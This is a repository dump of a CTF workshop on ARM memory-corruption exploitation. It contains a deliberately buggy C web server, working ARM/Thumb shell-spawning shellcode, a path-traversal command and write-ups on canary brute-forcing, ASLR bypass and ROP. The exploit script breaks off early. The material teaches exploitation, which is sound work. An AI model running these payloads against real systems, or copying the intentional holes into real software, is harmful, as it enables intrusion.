├── bin ├── websrv └── libc-2.13.so ├── src ├── Makefile ├── led └── websrv.c ├── webroot └── index.html ├── shellcode ├── Makefile ├── shellcode.arm.S └── shellcode.thumb.S ├── exploit ├── stage1.md ├── stage2.md └── pwn.py ├── LICENSE └── README.md /bin/websrv: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/saelo/armpwn/HEAD/bin/websrv -------------------------------------------------------------------------------- /bin/libc-2.13.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/saelo/armpwn/HEAD/bin/libc-2.13.so -------------------------------------------------------------------------------- /src/Makefile: -------------------------------------------------------------------------------- 1 | CC=gcc 2 | CFLAGS=-std=gnu99 -fstack-protector -fPIE -pie -z relro -z now -O1 3 | TARGET=websrv 4 | SRC=websrv.c 5 | 6 | $(TARGET) : $(SRC) 7 | $(CC) $(CFLAGS) -o $@ $< 8 | strip $(TARGET) 9 | sudo setcap 'cap_net_bind_service=+ep' $(TARGET) 10 | 11 | clean: 12 | rm $(TARGET) 13 | 14 | -------------------------------------------------------------------------------- /src/led: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | usage() { 4 | echo "Usage: $0 on|off" 5 | exit 6 | } 7 | 8 | if [[ $# -lt 1 ]] 9 | then 10 | usage 11 | fi 12 | 13 | if [[ $1 == "on" ]] 14 | then 15 | gpio mode 0 out 16 | gpio write 0 1 17 | elif [[ $1 == "off" ]] 18 | then 19 | gpio mode 0 out 20 | gpio write 0 0 21 | else 22 | usage 23 | fi 24 | -------------------------------------------------------------------------------- /webroot/index.html: -------------------------------------------------------------------------------- 1 | 2 | RPI Control 3 | 4 | 13 |

RPI Control Center

14 | 15 | 16 | 17 | 18 | -------------------------------------------------------------------------------- /shellcode/Makefile: -------------------------------------------------------------------------------- 1 | as = arm-none-eabi-as 2 | objcopy = arm-none-eabi-objcopy 3 | 4 | all: shellcode.arm shellcode.thumb 5 | 6 | shellcode.arm: shellcode.arm.S 7 | $(as) -o shellcode.o shellcode.arm.S 8 | $(objcopy) -O binary shellcode.o shellcode.arm 9 | rm shellcode.o 10 | 11 | shellcode.thumb: shellcode.thumb.S 12 | $(as) -mthumb -o shellcode.o shellcode.thumb.S 13 | $(objcopy) -O binary shellcode.o shellcode.thumb 14 | rm shellcode.o 15 | 16 | clean: 17 | rm shellcode.arm 18 | rm shellcode.thumb 19 | -------------------------------------------------------------------------------- /shellcode/shellcode.arm.S: -------------------------------------------------------------------------------- 1 | .section .text 2 | .global _start 3 | 4 | .set SOCKFD, 4 5 | 6 | _start: 7 | mov r0, #SOCKFD 8 | mov r1, #2 9 | sub r2, r2, r2 10 | mov r7, #63 // dup2 11 | 12 | loop: 13 | svc 0 14 | subs r1, r0, #1 15 | bge loop 16 | 17 | mov r0, pc 18 | b execve 19 | .ascii "/bin/sh\x00" 20 | 21 | execve: 22 | stm sp, {r0, r2} 23 | mov r1, sp 24 | mov r7, #11 // execve 25 | svc 0 26 | -------------------------------------------------------------------------------- /shellcode/shellcode.thumb.S: -------------------------------------------------------------------------------- 1 | .syntax unified 2 | .section .text 3 | .global _start 4 | 5 | .set SOCKFD, 4 6 | 7 | _start: 8 | movs r0, #SOCKFD 9 | movs r1, #2 10 | subs r2, r2, r2 11 | movs r7, #63 // dup2 12 | 13 | loop: 14 | svc 0 15 | subs r1, r0, #1 16 | bge loop 17 | 18 | mov r0, pc 19 | b execve 20 | .ascii "/bin/sh\x00" 21 | 22 | execve: 23 | push {r0, r2} 24 | mov r1, sp 25 | movs r7, #11 // execve 26 | svc 0 27 | -------------------------------------------------------------------------------- /exploit/stage1.md: -------------------------------------------------------------------------------- 1 | # Stage 1 2 | 3 | There's a path traversal bug in the code that handles GET requests. 4 | Abusing this, the binary can be obtained: 5 | 6 | ```bash 7 | printf "GET ../../../../../proc/self/exe HTTP/1.1\r\n\r\n" | nc $ip 80 > response 8 | ``` 9 | 10 | Afterwards the HTTP header needs to be stripped: 11 | 12 | ```bash 13 | dd if=response of=websrv bs=1 skip=$(python -c "print(open('response', 'rb').read().index(b'\x7fELF'))") 14 | ``` 15 | 16 | file should now report an elf file: 17 | 18 | ```bash 19 | $ file websrv 20 | websrv: ELF 32-bit LSB shared object, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux-armhf.so.3, for GNU/Linux 2.6.26, BuildID[sha1]=8f6a73fa2b913d8a5d7c9ce5797188b90457d0e5, stripped 21 | ``` 22 | 23 | The same can be done to retrieve the libc in use on the target system (get it's path through /proc/self/maps). 24 | 25 | At this point it's time for some reverse engineering. 26 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | The MIT License (MIT) 2 | 3 | Copyright (c) 2015 Samuel Groß 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /exploit/stage2.md: -------------------------------------------------------------------------------- 1 | # Stage 2 : Reverse Engineering the binary 2 | 3 | There's a classic stack based buffer overflow in the function receiving the request. Sending a little more than 4096 bytes will crash the child process. 4 | 5 | ## Bypassing the stack canary 6 | 7 | Stack canaries are enabled, however, the value of the cookie can be brute forced as the cookie doesn't change accross forks. 8 | By overwriting one unknown byte of the canary at a time it's value can be brute forced in approximately 128\*4 requests (in practive this is reduced to 128\*3 since the first byte is usually 0 to prevent exploitation of strcpy and similar functions). 9 | 10 | See cookiebrute() 11 | 12 | ## Bypassing ASLR 13 | 14 | Arbitrary files can be read using the path traversal bug. Reading /proc/self/maps will allow for an ASLR bypass. 15 | 16 | See leakmaps() 17 | 18 | ## Bypassing NX 19 | 20 | No-eXecute (NX) can be bypassed by using a ROP chain. 21 | There are multiple ways to construct the ROP chain. The two most common ways are 22 | 23 | - prepare the arguments for system() and jump there 24 | - mmap an rwx memory region and write some shellcode there, then jump there. 25 | 26 | Both are implemented in pwn.py 27 | 28 | Gadgets can be found using e.g. the [ROPgadget tool](https://github.com/JonathanSalwan/ROPgadget). 29 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # ARMPwn 2 | 3 | Repository to train/learn memory corruption exploitation on the ARM platform. 4 | This is the material of a workshop I prepared for my CTF Team. 5 | 6 | 7 | ## Quick Setup 8 | 9 | Either upload the binary to some ARM device (I used a Raspberry Pi) or use qemu locally as described [here](https://github.com/niklasb/rpi-qemu). 10 | Also copy the webroot/ folder and the led script to the device. The binary expects both to be in the current working directory. 11 | 12 | The binary needs to be run as root or (preferably) have CAP_NET_BIND_SERVICE enabled (sudo setcap 'cap_net_bind_service=+ep' websrv). 13 | 14 | 15 | ## How to use this Repository 16 | 17 | In general the goal is to get code execution on the target system. 18 | There are 4 different ways to benefit from this repository: 19 | 20 | ### Total Pwn 21 | 22 | Deploy the binary and go pwn it _without_ reversing the binary first. Assume no prior knowlege of the binary. 23 | 24 | ### Full Pwn 25 | 26 | You're given access to the binary as well (in bin/). 27 | 28 | ### Medium Pwn 29 | 30 | You're given access to the binary and it's source code in src/. You'll miss out on some reversing fun though. 31 | 32 | ### Lesser Pwn 33 | 34 | Refer to the exploit and explanations in exploit/ as you go along. 35 | 36 | 37 | ## RPI Configuration 38 | 39 | The RPI used during the workshop was configured as follows: 40 | 41 | - kernel boot messages were written to /dev/ttyAMA0 (the default) 42 | - /etc/inittab was modified to not spawn getty on /dev/ttyAMA0 43 | - syslog-ng was modified to enable output on /dev/ttyAMA0 by adding the following line to /etc/syslog-ng/syslog-ng.conf: 44 | destination d_console_all { file("/dev/ttyAMA0"); }; 45 | - verbose crash messages were enabled by setting "sysctl kernel.print-fatal-signals=1" during boot, e.g. through /etc/init.d/rc.local 46 | (sadly the ARM kernel does not by default print a crash summary to the kernel ring buffer as opposed to e.g. an x86 kernel) 47 | - An LED was connected to GPIO pin 17 on the Pi 48 | 49 | Using these, we developed our exploits by connecting a serial cable to the Pi and getting the crash dumps this way. No gdb or similar. 50 | 51 | 52 | Feedback is always welcome! Enjoy :) 53 | 54 | @5aelo 55 | -------------------------------------------------------------------------------- /src/websrv.c: -------------------------------------------------------------------------------- 1 | /* 2 | * WebSrv - Simple, buggy web server 3 | * 4 | * (c) 2015 Samuel Groß 5 | */ 6 | 7 | #define _GNU_SOURCE 8 | 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | 21 | #define min(a, b) (((a) < (b)) ? (a) : (b)) 22 | 23 | #define PORT 80 24 | #define TIMEOUT 120 25 | #define CRLF "\r\n" 26 | #define CRLF2 "\r\n\r\n" 27 | #define WEBROOT "webroot/" 28 | 29 | struct sockaddr_in client; 30 | char buf[2048]; 31 | ssize_t bufsz; 32 | 33 | int die(const char *fmt, ...) 34 | { 35 | va_list args; 36 | 37 | va_start(args, fmt); 38 | vfprintf(stderr, fmt, args); 39 | va_end(args); 40 | 41 | exit(-1); 42 | } 43 | 44 | void wait_for_child(int sig) 45 | { 46 | while (waitpid(-1, NULL, WNOHANG) > 0); 47 | } 48 | 49 | void handle_alarm(int sig) 50 | { 51 | puts("Client timed out..."); 52 | exit(0); 53 | } 54 | 55 | 56 | void http_send(int socket, const char *fmt, ...) 57 | { 58 | char msg[2048], *pos; 59 | va_list args; 60 | 61 | memset(msg, 0, sizeof(msg)); 62 | 63 | va_start(args, fmt); 64 | vsprintf(msg, fmt, args); 65 | va_end(args); 66 | 67 | send(socket, msg, strlen(msg), 0); 68 | } 69 | 70 | int send_error(int socket, int code, const char* msg) 71 | { 72 | char* body = "" 73 | "\n" 74 | " \n" 75 | " No.\n" 76 | " \n" 77 | " \n" 78 | "

%d %s

\n" 79 | "
Super Secure Web Server v.3.1.33.7
\n" 80 | " \n" 81 | ""; 82 | 83 | http_send(socket, "HTTP/1.1 %d %s" CRLF, code, msg); 84 | http_send(socket, "Content-Type: text/html" CRLF); 85 | http_send(socket, "Content-Length: %d" CRLF2, strlen(body) + 3 + strlen(msg) - 4); 86 | http_send(socket, body, code, msg); 87 | 88 | return code; 89 | } 90 | 91 | int handle_led_cmd(int socket, char* cmd) 92 | { 93 | if (strcmp(cmd, "ledon") == 0) 94 | system("./led on"); 95 | else 96 | system("./led off"); 97 | 98 | char* body = "OK"; 99 | http_send(socket, "HTTP/1.1 200 OK" CRLF); 100 | http_send(socket, "Content-Length: %d" CRLF2, strlen(body)); 101 | http_send(socket, "%s", body); 102 | 103 | return 200; 104 | } 105 | 106 | int handle_req(int socket, char* request, size_t len) 107 | { 108 | FILE* f; 109 | long fsize; 110 | char buf[2048], *file, *fend; 111 | 112 | if (memcmp(request, "GET", 3) != 0) { 113 | return send_error(socket, 501, "Not Implemented"); 114 | } 115 | 116 | /* 117 | * Determine requested file 118 | */ 119 | file = request + 4; 120 | fend = memchr(file, ' ', len-4); 121 | if (!fend) 122 | return send_error(socket, 400, "Bad Request"); 123 | 124 | *fend = 0; 125 | 126 | if (strcmp(file, "/") == 0) 127 | file = "index.html"; 128 | 129 | if (strcmp(file, "/ledon") == 0 || strcmp(file, "/ledoff") == 0) 130 | return handle_led_cmd(socket, file+1); 131 | 132 | printf("%s:%d request for file '%s'\n", inet_ntoa(client.sin_addr), htons(client.sin_port), file); 133 | 134 | strcpy(buf, WEBROOT); 135 | strcat(buf, file); 136 | 137 | /* 138 | * Open file 139 | */ 140 | f = fopen(buf, "r"); 141 | if (!f) 142 | return send_error(socket, 404, "Not Found"); 143 | fseek(f, 0, SEEK_END); 144 | fsize = ftell(f); 145 | fseek(f, 0, 0); 146 | 147 | /* 148 | * Send header 149 | */ 150 | http_send(socket, "HTTP/1.1 200 OK" CRLF); 151 | http_send(socket, "Content-Type: text/html" CRLF); 152 | http_send(socket, "Content-Length: %d" CRLF2, fsize); 153 | 154 | /* 155 | * Send body 156 | */ 157 | while ((len = fread(buf, 1, sizeof(buf), f)) > 0) { 158 | send(socket, buf, len, 0); 159 | } 160 | 161 | fclose(f); 162 | 163 | return 200; 164 | } 165 | 166 | int handle_single_request(int socket) 167 | { 168 | ssize_t len, cntlen; 169 | char req[4096]; 170 | char *ptr, *pos; 171 | 172 | /* 173 | * Read Header 174 | */ 175 | ptr = req; 176 | while (1) { 177 | // we could write directly into 'ptr', but this makes reversing a bit more interesting I guess 178 | if (bufsz == 0) { 179 | bufsz = recv(socket, buf, sizeof(buf), 0); 180 | if (bufsz <= 0) 181 | return -1; 182 | } 183 | 184 | memcpy(ptr, buf, bufsz); 185 | ptr += bufsz; 186 | bufsz = 0; 187 | 188 | pos = memmem(req, ptr - req, CRLF2, 4); 189 | if (pos) { 190 | bufsz = ptr - (pos + 4); 191 | ptr = pos + 4; 192 | memcpy(buf, ptr, bufsz); 193 | *ptr = 0; // make it a c string 194 | break; 195 | } 196 | } 197 | 198 | /* 199 | * Read Body 200 | */ 201 | pos = strcasestr(req, "Content-Length:"); 202 | if (pos) { 203 | pos += 15; 204 | while (isspace(*pos)) pos++; 205 | cntlen = atoi(pos); 206 | 207 | while (cntlen > 0) { 208 | if (bufsz == 0) { 209 | len = recv(socket, ptr, cntlen, 0); 210 | if (len <= 0) 211 | return -1; 212 | 213 | cntlen -= len; 214 | ptr += len; 215 | } else { 216 | len = min(bufsz, cntlen); 217 | memcpy(ptr, buf, len); 218 | 219 | ptr += len; 220 | cntlen -= len; 221 | bufsz -= len; 222 | 223 | if (bufsz != 0) { 224 | memmove(buf, buf + len, bufsz); 225 | } 226 | } 227 | } 228 | } 229 | 230 | /* 231 | * Process Request 232 | */ 233 | return handle_req(socket, req, ptr - req); 234 | } 235 | 236 | void handle_client(int socket) 237 | { 238 | int code, reqcount = 0; 239 | 240 | while (1) { 241 | reqcount++; 242 | code = handle_single_request(socket); 243 | if (code < 0) return; 244 | printf("%s:%d request #%d => %d\n", inet_ntoa(client.sin_addr), htons(client.sin_port), reqcount, code); 245 | } 246 | } 247 | 248 | int main() 249 | { 250 | int sockfd, clientfd, pid; 251 | unsigned int clilen; 252 | struct sockaddr_in serv_addr; 253 | struct sigaction sa; 254 | 255 | /* 256 | * Set up the signal handlers 257 | */ 258 | sa.sa_handler = wait_for_child; 259 | sigemptyset(&sa.sa_mask); 260 | sa.sa_flags = SA_RESTART; 261 | if (sigaction(SIGCHLD, &sa, NULL) == -1) 262 | die("sigaction() failed: %s\n", strerror(errno)); 263 | sa.sa_handler = handle_alarm; 264 | sigemptyset(&sa.sa_mask); 265 | sa.sa_flags = SA_RESTART; 266 | if (sigaction(SIGALRM, &sa, NULL) == -1) 267 | die("sigaction() failed: %s\n", strerror(errno)); 268 | 269 | /* 270 | * Set up socket 271 | */ 272 | sockfd = socket(AF_INET, SOCK_STREAM, 0); 273 | if (sockfd < 0) 274 | die("socket() failed: %s\n", strerror(errno)); 275 | 276 | int val = 1; 277 | if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &val, sizeof(val)) == -1) 278 | die("setsockopt() failed with %s\n", strerror(errno)); 279 | 280 | memset(&serv_addr, 0, sizeof(serv_addr)); 281 | serv_addr.sin_family = AF_INET; 282 | serv_addr.sin_addr.s_addr = INADDR_ANY; 283 | serv_addr.sin_port = htons(PORT); 284 | 285 | if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) 286 | die("bind() failed: %s\n", strerror(errno)); 287 | 288 | if (listen(sockfd, 5) == -1) 289 | die("listen() failed: %s\n", strerror(errno)); 290 | 291 | /* 292 | * Server loop 293 | */ 294 | while (1) { 295 | clilen = sizeof(client); 296 | clientfd = accept(sockfd, (struct sockaddr*)&client, &clilen); 297 | if (clientfd < 0) 298 | die("accept() failed: %s\n", strerror(errno)); 299 | 300 | printf("New connection from %s on port %d\n", inet_ntoa(client.sin_addr), htons(client.sin_port)); 301 | 302 | pid = fork(); 303 | if (pid < 0) { 304 | die("fork() failed: %s\n", strerror(errno)); 305 | } else if (pid == 0) { 306 | /* 307 | * TODO: Even though we use CAP_NET_BIND_SERVICE we might still want to drop privs so child can't interfere with parent 308 | */ 309 | close(sockfd); 310 | alarm(TIMEOUT); 311 | handle_client(clientfd); 312 | printf("%s:%d disconnected\n", inet_ntoa(client.sin_addr), htons(client.sin_port)); 313 | close(clientfd); 314 | exit(0); 315 | } else { 316 | close(clientfd); 317 | } 318 | 319 | } 320 | 321 | return 0; 322 | } 323 | -------------------------------------------------------------------------------- /exploit/pwn.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | #!coding: utf-8 3 | # 4 | # Copyright (c) 2015 Samuel Groß 5 | # 6 | import argparse, struct, sys, time, re, telnetlib 7 | from socket import create_connection 8 | 9 | TARGET = ('x.x.x.x', 80) 10 | 11 | # 12 | # Global state 13 | # 14 | maps = None 15 | fn = None 16 | pc_offset = None 17 | cookie = None 18 | offset = None 19 | 20 | 21 | # 22 | # Helper functions 23 | # 24 | def p(*args): 25 | return b''.join(struct.pack('